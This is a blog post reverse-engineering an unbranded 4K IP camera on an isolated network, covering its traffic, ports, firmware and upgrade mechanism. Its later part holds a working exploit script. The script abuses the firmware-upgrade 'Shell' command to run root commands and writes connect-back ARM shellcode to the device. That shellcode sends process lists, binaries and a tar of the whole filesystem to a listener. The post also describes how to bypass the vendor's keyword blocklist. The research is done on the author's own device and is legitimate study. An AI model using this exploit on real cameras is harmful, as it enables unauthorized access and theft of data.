mensi.ch

Experimenting with a random Chinese 4K IP Camera

I recently stumbled on an Aliexpress listing for an 8MP, 4K, h.265-capable IP camera in a compact form factor. Neither the listing nor the packaging display any discernible manufacturer. The packaging specifies the model to be GS-BN1BC8MA. At the time of writing, I'm unable to find this model number on Google (nor Bing for that matter).

The product listing specifies the system as Linux on an Mstar processor.

Since similar product listings often mention Cloud NVR features, let's bring this up in an isolated network and see what happens.

Initial network activity

The packaging lists the camera's IP address as 192.168.1.10 without further detail. I therefore set up a network with the router on 192.168.1.1/24 as well as 192.168.57.1/24 with DHCP handing out addresses on the .57. subnet. The firewall is set up to drop anything originating from the interface while allowing ESTABLISHED,RELATED ctstates from my normal network. The DNS server on 192.168.57.1 is set up without any upstream servers, so all DNS lookups will fail.

On boot, the camera announces itself with an ARP broadcast as 192.168.1.10 with a MAC address starting with 00:12:31 (the vendor prefix of Motion Control Systems, Inc). The internet suggests that these IP cameras often just squat MAC address space of unrelated companies, so it can be that this company has nothing to do with the camera.

It also starts a DHCP discovery and will accept an offer, but does not seem to use the given IP address consistently. I've seen both cases where it continued using the default 192.168.1.10 and cases where it does use the IP given by DHCP.

We then see infinite periodic ICMP pings and DNS lookup attempts around every 10 seconds or so. ICMP pings go to:

  • 114.114.114.114 (seems to be some Chinese public DNS provider)
  • 8.8.8.8 (Google's public DNS)
  • 180.76.76.76 (Baidu's public DNS)

DNS lookups are attempted for:

  • secu100.net, via 192.168.57.1 (DHCP-provided) and 223.5.5.5 (alidns public DNS)
  • aiotsecu.com, via 8.8.8.8 and 114.114.114.114
  • pub-cfg.secu100.net, via 192.168.57.1, 8.8.8.8 and 223.5.5.5

Searching for the secu100.net domain suggests that the Cloud P2P feature the booklet mentions could be from Xiongmai, implying that segregating the camera into a restricted network might indeed have been a good idea.

Nmap finds these open ports:

# nmap -p- 192.168.1.10
Starting Nmap 7.80 ( https://nmap.org ) at 2022-10-23 12:57 UTC
Nmap scan report for 192.168.1.10
Host is up (0.00026s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
80/tcp    open  http
554/tcp   open  rtsp
8000/tcp  open  http-alt
8899/tcp  open  ospf-lite
34567/tcp open  dhanalakshmi

Some Googling hints at port 34567 being related to a protocol called "Polyvision" and it indeed seems the camera responds to UDP broadcasts like this (eth1 being on the isolated network):

# printf '\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfa\x05\x00\x00\x00\x00' | \
socat - udp-datagram:255.255.255.255:34569,broadcast,so-bindtodevice=eth1

python-dvr

It also looks like python-dvr works with this camera. With its get_system_info() function, we get an additional identifier for the hardware:

  • 'DeviceModel': 'IPC_NT98566_85N80_S38'
  • 'HardWare': 'IPC_NT98566_85N80_S38'

And capabilities:

{'AlarmFunction': {'AlarmConfig': True,
                'BlindDetect': True,
                'HumanDection': True,
                'HumanPedDetection': True,
                'LossDetect': True,
                'MotionDetect': True,
                'NetAbort': True,
                'NetAlarm': True,
                'NetIpConflict': True,
                'PEAInHumanPed': True,
                'StorageFailure': True,
                'StorageLowSpace': True,
                'StorageNotExist': True},
'CommFunction': {'CommRS232': True, 'CommRS485': True},
'EncodeFunction': {'DoubleStream': True,
                    'SmartH264V2': True,
                    'SnapStream': True},
'NetServerFunction': {'IPAdaptive': True,
                    'NetAlarmCenter': True,
                    'NetDDNS': True,
                    'NetDHCP': True,
                    'NetDNS': True,
                    'NetEmail': True,
                    'NetFTP': True,
                    'NetIPFilter': True,
                    'NetMutlicast': False,
                    'NetNTP': True,
                    'NetNat': True,
                    'NetPMS': True,
                    'NetPMSV2': True,
                    'NetRTSP': True,
                    'NetUPNP': True,
                    'OnvifPwdCheckout': True,
                    'WifiRouteSignalLevel': True},
'OtherFunction': {'NOHDDRECORD': True,
                'SupportAdminContactInfo': True,
                'SupportAlarmVoiceTipInterval': True,
                'SupportAlarmVoiceTips': True,
                'SupportAlarmVoiceTipsType': True,
                'SupportAppBindFlag': True,
                'SupportBT': True,
                'SupportCamareStyle': True,
                'SupportCfgCloudupgrade': True,
                'SupportChangeLanguageNoReboot': True,
                'SupportCloseVoiceTip': True,
                'SupportCloudUpgrade': True,
                'SupportCommDataUpload': True,
                'SupportDimenCode': True,
                'SupportFTPTest': True,
                'SupportFaceDetectV2': True,
                'SupportMailTest': True,
                'SupportPCSetDoubleLight': True,
                'SupportPWDSafety': True,
                'SupportSetVolume': True,
                'SupportShowH265X': True,
                'SupportSnapV2Stream': True,
                'SupportSoftPhotosensitive': True,
                'SupportTextPassword': True,
                'SupportTimeZone': True,
                'SupportWriteLog': True,
                'SuppportChangeOnvifPort': True},
'PreviewFunction': {'Talk': True},
'TipShow': {'NoBeepTipShow': True}}

Encoder settings ("Simplify.Encode"):

[{'ExtraFormat': {'AudioEnable': True,
                'Video': {'BitRate': 439,
                            'BitRateControl': 'VBR',
                            'Compression': 'H.265',
                            'FPS': 15,
                            'GOP': 2,
                            'Quality': 4,
                            'Resolution': 'HD1',
                            'VirtualGOP': 1},
                'VideoEnable': True},
'MainFormat': {'AudioEnable': True,
                'Video': {'BitRate': 1962,
                        'BitRateControl': 'VBR',
                        'Compression': 'H.265',
                        'FPS': 10,
                        'GOP': 2,
                        'Quality': 3,
                        'Resolution': '4K',
                        'VirtualGOP': 1},
                'VideoEnable': True}}]

Firmware

Googling for the device model we found (IPC_NT98566_85N80_S38) yields just one pair of results at the time of writing - but luckily it takes us to a firmware update.

The zip file contains 4 bin files:

  • FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin

These seem to actually also be ZIP archives we can unpack to get:

148b39bc79c603df94c53ce53663f590  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img

298bd81d05f88ef8446190ae31de8da3  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img

4187676e2b94c511eb4b9a3db4238d53  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img

534a17dfb80204176cea58d53a502848  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img

58d79de537e0d92e8271ee95e044d39c  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img

6bcb7228e9de76c99a290984d9416f4a  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
6f21727c0ebc4689967ac4889c8dcd4a  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
6f3754a39d5ea23062667e9ead4177ed  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
a2bbe7ae2caf6ee68f8c5247731a4e15  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
bded1bc502b172655ea1fbd7e37b3b3a  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
be58856026fb99305023d58cfb4ed2d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
cd06c03759cfaaa8b8e0ff5c7b17ffff  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
da952acca72f01b60d9910a48eaa5488  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc

f387bbd4b694fb3cc96c67d6515c93d4  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img

sorting them by md5 hash like this makes it quite obvious which files are common to all of them. The ones with differences seem to be InstallDesc and custom-x.squashfs.img. In InstallDesc, the difference seems to be just the CRC and Mx8Q value.

u-boot Environment

We can dump the U-Boot environment with dumpimage from the u-boot-tools package and some Python hackery to remove trailing null bytes and splitting variable definitions on null byte separators to get:

arch=arm
baudrate=115200
board=nvt-na51055
board_name=nvt-na51055
bootdelay=0
cpu=armv7
ethaddr=00:00:23:34:45:66
eth1addr=00:00:23:34:45:77
ethprime=eth0
fdt_high=0x04000000
gatewayip=192.168.68.254
hostname=oaalnx
ipaddr=192.168.68.101
netmask=255.255.255.0
serverip=192.168.68.100
soc=nvt-na51055
ld=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 loader.bin.img;flwrite
df=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 fdt.bin.img;flwrite
da=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.bin.img;sf probe 0;flwrite
de=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.env.img;sf probe 0;flwrite
dl=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 logo-x.squashfs.img;sf probe 0;flwrite
dr=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 romfs-x.squashfs.img;sf probe 0;flwrite
du=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 user-x.squashfs.img;sf probe 0;flwrite
dc=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 custom-x.squashfs.img;sf probe 0;flwrite
dw=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 web-x.squashfs.img;sf probe 0;flwrite
dd=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 mtd-x.jffs2.img;sf probe 0;flwrite
up=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 update.img;sf probe 0;flwrite
ua=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 upall_verify.img;sf probe 0;flwrite
tk=tftpboot 0x01000000 uImage;setenv setargs setenv bootargs ${bootargs};run setargs;nvt_boot 0x01000000
loadlogo=sf probe 0;sf read 0x02000000  ;logoload 0x02000000;decjpg 0;bootlogo
loadromfs=sf probe 0;sf read 0x02000000 0x40000 0x2E0000;squashfsload;nvt_boot
bootcmd=setenv setargs setenv bootargs ${bootargs};run setargs;run loadromfs
bootargs=earlyprintk console=ttyS0,115200 init=linuxrc mem=${osmem} rootwait nprofile_irq_duration=on root=/dev/mtdblock2 rootfstype=squashfs mtdparts=spi_nor.0:0x10000(loader),0x30000(boot),0x2E0000(romfs),0x420000(usr),0x40000(web),0x30000(custom),0x50000(mtd)
osmem=60M
stderr=ns16550_serial
stdin=ns16550_serial
stdout=ns16550_serial
vendor=novatek
ver=U-Boot 2016.07 (May 15 2019 - 21:34:56 +0800)

SquashFS images

We can also use dumpimage to convert the *.squashfs.img to bare SquashFS filsystems which we can then extract with unsquashfs. This works nicely to just get a look at the files, but it does not preserve the symlinks in some places.

A first obvious thing is to have a look at /etc/passwd. If we search for the root password hash on the internet, it seems to be a well-known password and also shows up in some Mirai botnet related testers for known hardcoded default credentials.

We can go a bit more fancy and mount the images:

mount "$FW_DIR/romfs-x.squashfs" "$MOUNT_DIR" -t squashfs -o loop
mount "$FW_DIR/user-x.squashfs" "$MOUNT_DIR/usr" -t squashfs -o loop
mount "$FW_DIR/web-x.squashfs" "$MOUNT_DIR/mnt/web" -t squashfs -o loop
mount "$FW_DIR/custom-x.squashfs" "$MOUNT_DIR/mnt/custom" -t squashfs -o loop

which will recreate the filesystem hierarchy the camera sees. This is not quite everything that is mounted, but you can see the exact setup in /etc/init.d/rcS. There, we can also see that the main application (/usr/bin/App) seems to be launched through /usr/sbin/AppRun.sh.

InstallDesc

The InstallDesc file is interesting since it contains instructions for what to do when running an upgrade. At first glance, it looks like there is some sort of integrity checking with the CRC and Mx8Q values.

The python-dvr project we used earlier has a method to apply such firmware upgrades, but more interestingly, it also has a script telnet_opener.py. It uses a "Shell" command instead of "Burn" to run scripts. The constructed InstallDesc file however seems to use some hardcoded CRC value independent of what script is run, suggesting that the CRC is not actually checked.

Sadly our firmware does not seem to include a telnetd binary, but we can test by pinging our router:

import zipfile
import argparse
import json

from dvrip import DVRIPCam


def make_zip(filename, cmd):
    data = json.dumps({
        "UpgradeCommand": [{"Command": "Shell", "Script": cmd}],
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)


def main():
    cam = DVRIPCam("<YOUR_CAMERA_IP>", user="admin", password="")
    if not cam.login():
        print("Cannot connect")
        return
    make_zip("/tmp/update.bin", "/bin/ping -c 5 <YOUR_ROUTER_IP>")
    cam.upgrade("/tmp/update.bin")
    cam.close()

if __name__ == "__main__":
    main()

and indeed, running this causes 5 ICMP pings to show up at the router without even specifying a CRC or Mx8Q value at all! As is, this however does seem to reboot the camera afterwards.

Poking at the App code

If we look at the App binary in a disassembler (e.g. Ghidra) to get a better idea what happens during an upgrade, we can find logging printf calls implying a function called CUpgrader::onUpgrade. Without having done a detailed analysis, it looks like this function has two ways of operating:

  • Shelling out to /usr/bin/upgrader
  • Doing stuff itself

The upgrade part directly in the App binary seems to have code to check the CRC (unless disabled through CheckVersionCRC in InstallDesc) and Mx8Q values, but it does not seem to happen for our shell command payload (or the camera is running an older firmware without the code). Computing the Mx8Q value seems to involve some sort of MD5 hashing.

The App implementation will also skip over shell commands that contain as a substring any of:

  • telnetd
  • sleep
  • /debug

or if they are longer than 100 characters. These restrictions look like attempts to deal with some of the exploitation history around this vendor - but since there are many ways to break strings up in a shell, a substring match like this is entirely pointless as long as you let clients feed anything else they like into a system() call.

Getting some data back

So far, we've only run some pings - a nice way to get an observable side-effect to confirm it's working - but not really anything helping us to get data out. Looking at all available binaries on from the SquashFS images, it sadly looks like we don't have anything interesting to open some sort of connection. We could maybe abuse the built-in web server, but the web root is on a read-only filesystem we'd have to mount a ramfs over to be able to write outputs.

So instead, let's try to ship a binary of our choice over to the camera. While we're limited to 100 bytes per shell command, we can add multiple shell commands which will be run in sequence. In terms of what to run, we want something small that can communicate over the network. Doing some research, I stumbled on sockout which is a minimal ELF binary providing the bare minimum of netcat functionality. So let's take sockconnect and put our IP (192.168.57.1, aka. \xc0\xa8\x39\x01 in network byte order) at the end and combine it with our previous script:

import zipfile
import argparse
import json

from dvrip import DVRIPCam


def make_zip(filename, cmd):
    upgrade_command = []
    if isinstance(cmd, str):
        upgrade_command.append({"Command": "Shell", "Script": cmd})
    else:
        for c in cmd:
        upgrade_command.append({"Command": "Shell", "Script": c})
    data = json.dumps({
        "UpgradeCommand": upgrade_command,
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)


def main():
    cam = DVRIPCam("<IP of camera>", user="admin", password="")
    if not cam.login():
        print(f"Cannot connect")
        return

    make_zip("/tmp/update.bin", [
        r"printf '\x7f\x45\x4c\x46\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00' > /var/sc",
        r"printf '\x02\x00\x28\x00\x20\x00\x20\x00\x20\x00\x20\x00\x04\x00\x00\x00' >> /var/sc",
        r"printf '\x09\x10\x8f\xe2\x11\xff\x2f\xe1\x34\x00\x20\x00\x01\x00\x00\x00' >> /var/sc",
        r"printf '\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x00\xdf\x04\x1c\x0c\xa1' >> /var/sc",
        r"printf '\x10\x22\x02\x37\x00\xdf\x01\x23\x9b\x02\x69\x46\xc9\x1a\x8d\x46' >> /var/sc",
        r"printf '\x00\x20\x1a\x1c\x03\x27\x00\xdf\x02\x1c\x20\x1c\x04\x27\x00\xdf' >> /var/sc",
        r"printf '\x00\x2a\xf5\xdc\x20\x1c\x06\x27\x00\xdf\x40\x40\x01\x27\x00\xdf' >> /var/sc",
        r"printf '\x02\x00\x11\x5c\xc0\xa8\x39\x01' >> /var/sc",
        'chmod +x /var/sc',
        'ps aux | /var/sc',
    ])
    cam.upgrade("/tmp/update.bin")
    cam.close()

if __name__ == '__main__':
    main()

We can listen for this with nc -l 192.168.57.1 4444 on our router and get:

PID USER       VSZ STAT COMMAND
  1 root      1548 S    linuxrc
  2 root         0 SW   [kthreadd]
  3 root         0 IW<  [rcu_gp]
  4 root         0 IW<  [rcu_par_gp]
  5 root         0 IW   [kworker/0:0-eve]
  6 root         0 IW<  [kworker/0:0H-kb]
  7 root         0 IW   [kworker/u2:0-ev]
  8 root         0 IW<  [mm_percpu_wq]
  9 root         0 SW   [ksoftirqd/0]
 10 root         0 IW   [rcu_preempt]
 11 root         0 IW   [rcu_sched]
 12 root         0 IW   [rcu_bh]
 13 root         0 SW   [kdevtmpfs]
 14 root         0 SW   [rcu_tasks_kthre]
 15 root         0 SW   [oom_reaper]
 16 root         0 IW<  [writeback]
 17 root         0 SW   [kcompactd0]
 18 root         0 IW<  [crypto]
 19 root         0 IW<  [kblockd]
 20 root         0 SW   [watchdogd]
 21 root         0 SW   [irq/52-DAI_INT]
 22 root         0 IW   [kworker/0:1-eve]
 23 root         0 IW<  [rpciod]
 24 root         0 IW<  [kworker/u3:0]
 25 root         0 IW<  [xprtiod]
 26 root         0 SW   [kswapd0]
 27 root         0 IW<  [nfsiod]
 37 root         0 IW   [kworker/u2:1-ev]
 71 root         0 IW   [kworker/0:2-mtd]
 72 root         0 IW<  [kworker/0:1H-kb]
 87 root         0 SWN  [jffs2_gcd_mtd6]
126 root         0 DW   [timer_ist]
131 root         0 DW   [nvt_ddr_proc_ts]
149 root         0 DW   [kdrv_ise_proc_t]
150 root         0 DW   [kdrv_ise_cb_tsk]
288 root         0 DW   [ae_tsk]
289 root         0 DW   [ae_tsk]
292 root         0 DW   [awb_tsk]
293 root         0 DW   [awb_tsk]
296 root         0 DW   [iq_tsk]
297 root         0 DW   [iq_tsk]
309 root     12400 S    XmServices_Mgr /usr/sbin/AppRun.sh /mnt/mtd/Config/
315 root      1544 S    {AppRun.sh} /bin/sh /usr/sbin/AppRun.sh
317 root     89704 S    /usr/bin/App
409 root      1544 S    /bin/sh -c ps | /var/sc
410 root      1548 R    ps
411 root      2188 S    /var/sc

As we can't see /usr/bin/upgrader in this, it indeed looks like we're hitting the upgrade code within the App binary itself. We can also get the App binary from the camera by applying the same trick to run cat /usr/bin/App | /var/sc.

Comparing the md5sum for both the on-camera binary and the one from the firmware update reveals a difference:

  • db5f42a51af844b133ef440519a0513e (camera)
  • 9a40ddf089ffdb5f9565aeb93279d250 (update)

While we're at it, we might as well also just ship over the whole filesystem since we have tar available: tar -c --exclude=proc --exclude=dev --exclude=sys / | /var/sc.